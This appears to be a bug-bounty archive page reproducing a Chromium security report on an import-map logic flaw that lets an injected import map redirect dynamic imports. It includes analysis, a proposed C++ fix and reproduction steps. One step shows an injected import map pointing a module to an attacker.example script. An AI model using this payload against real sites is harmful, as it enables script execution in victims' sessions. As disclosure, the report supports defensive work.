Skip to content
XSS Advisory Advanced CVE-2026-113108

Information loss in Script (CVE-2026-113108)

A logic error in Chromium's import map implementation allows newly injected import maps to override module mappings for scripts that have already resolved modules, because the exact URL of the referring script is not recorded during resolution. An attacker with HTML injection could inject an import map with an exact URL scope to bypass immutability checks and redirect dynamic imports to attacker-controlled scripts, escalating to same-origin script execution.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 6 months

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: A logic error in Chromium's Import Map implementation allows newly added import maps to override module mappings for scripts that have already resolved modules. The exact URL of a referring script is not properly recorded during module resolution, allowing an attacker with HTML injection capabilities to inject an import map using an exact URL scope that bypasses immutability conflict checks.

Affected files:

  • third_party/blink/renderer/core/script/document_modulator_impl.cc
  • third_party/blink/renderer/core/script/import_map.cc

Estimated timestamp from git blame: 2025-11-25

Description

The HTML specification requires that once a module specifier has been resolved for a given referring script, that resolution must remain immutable, even if subsequent import maps are registered. Chromium implements a defense-in-depth mechanism to enforce this by maintaining a set of resolved (referring script, specifier) pairs in DocumentModulatorImpl::scoped_resolved_module_map_.

However, a discrepancy in how this map is populated and checked during the merging of multiple import maps allows this immutability invariant to be bypassed.

Technical Analysis

  1. When a module is resolved, DocumentModulatorImpl::AddModuleToResolvedModuleSet records the resolution. To support prefix-based scope matching, it generates URL prefixes for the referring script using FindUrlPrefixes.
  2. FindUrlPrefixes (third_party/blink/renderer/core/script/document_modulator_impl.cc:16-29) splits the URL and only returns prefixes that terminate with a / character (e.g., https://example.com/js/).
  3. Crucially, if the referring script is https://example.com/js/app.js, its exact URL string is not returned by FindUrlPrefixes. Consequently, the exact URL is never added as a key to scoped_resolved_module_map_.
  4. When a new <script type="importmap"> is injected into the document, ImportMap::MergeExistingAndNewImportMaps checks for conflicts to prevent overriding existing resolutions (third_party/blink/renderer/core/script/import_map.cc:746). It performs an exact string lookup: scoped_resolved_module_map.find(scope).
  5. If the new import map defines a scope using the exact URL of the referring script (e.g., "scopes": {"https://example.com/js/app.js": { ... }}), the lookup fails because that exact URL was never added as a key. The conflict check is bypassed, and the malicious mapping is merged.
  6. Later, when the legitimate script (https://example.com/js/app.js) dynamically imports the same specifier, ImportMap::Resolve checks the newly merged scopes (third_party/blink/renderer/core/script/import_map.cc:541). Because the referring script URL exactly matches the attacker's scope (scope == base_url.GetString()), the attacker's mapping is used.
  7. Chromium's ModuleMap caches fetched modules by their resolved KURL, not by their specifier. Therefore, the new resolved URL is treated as a new module, fetched, and executed.

Potential Impact

If an attacker has an HTML injection primitive on a page utilizing JavaScript modules, they can inject an import map to redefine mappings for already-loaded scripts. By redirecting subsequent dynamic imports to attacker-controlled URLs, this escalates the HTML injection into Same-Origin Script Execution (XSS).

Note: These steps are based on static code analysis; our tooling has not executed a working proof-of-concept payload.

Potential Reproduction Steps

  1. Serve a page at https://example.com/index.html with an initial valid import map mapping "react" to a trusted CDN.
  2. The page loads a module script https://example.com/js/app.js which executes import 'react'. This resolves to the trusted CDN. DocumentModulatorImpl::AddModuleToResolvedModuleSet is called, but the exact URL https://example.com/js/app.js is not added as a key to scoped_resolved_module_map_.
  3. Leverage HTML injection to append a second import map: <script type="importmap">{"scopes": {"https://example.com/js/app.js": {"react": "https://attacker.example/evil.js"}}}</script>.
  4. During the merge process, the exact URL scope bypasses the conflict check because it is not found in scoped_resolved_module_map_.
  5. app.js subsequently calls import('react') dynamically.
  6. ImportMap::Resolve matches the exact URL scope and resolves 'react' to https://attacker.example/evil.js. The browser fetches and executes the attacker's script.

Suggested Fix

Modify DocumentModulatorImpl::AddModuleToResolvedModuleSet to explicitly add the exact referring_script_url as a key to scoped_resolved_module_map_, in addition to the prefixes generated by FindUrlPrefixes.

C++
  if (!referring_script_url)
    return;

  // Add the exact URL to ensure exact scope matching works during conflict checks.
  auto& exact_url_set = scoped_resolved_module_map_.insert(referring_script_url.value(), HashSet<AtomicString>()).stored_value->value;
  exact_url_set.insert(specifier);
  for (const auto& specifier_prefix : specifier_prefixes) {
    exact_url_set.insert(specifier_prefix);
  }

  Vector<AtomicString> referring_script_prefixes =
      FindUrlPrefixes(referring_script_url.value());
  // ... rest of the existing prefix loop ...

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the function that records resolved module specifiers only stores URL prefixes ending with a slash, not the exact referring script URL, so the conflict check during import map merging fails to find the exact URL and allows an override.

Impact

An attacker with HTML injection could escalate to same-origin script execution by redirecting dynamic imports to attacker-controlled URLs, though the report notes this is based on static analysis and no working proof-of-concept has been executed.

What the attacker needed

HTML injection on a page using JavaScript modules; Page uses dynamic imports

The fix

The fix should modify the function that records resolved modules to also add the exact referring script URL as a key, so that exact scope matching works during conflict checks.

How it was found

  1. Serve a page with an initial valid import map mapping a module specifier to a trusted CDN.
  2. The page loads a module script that imports the specifier, resolving to the trusted CDN; the exact script URL is not added to the resolved module set.
  3. Use HTML injection to append a second import map with a scope using the exact URL of the referring script and a malicious mapping.
  4. During merge, the exact URL scope bypasses the conflict check because it is not found in the resolved module set.
  5. The script later dynamically imports the same specifier.
  6. The import map resolves the specifier to the attacker's URL, and the browser fetches and executes the attacker's script.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Import maps let web pages tell the browser where to find JavaScript modules. The browser is supposed to remember which module a script already loaded and not let a later import map change that. This report found that the browser forgot to record the exact address of the script, so a later import map could sneak in and point the script to a malicious file.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.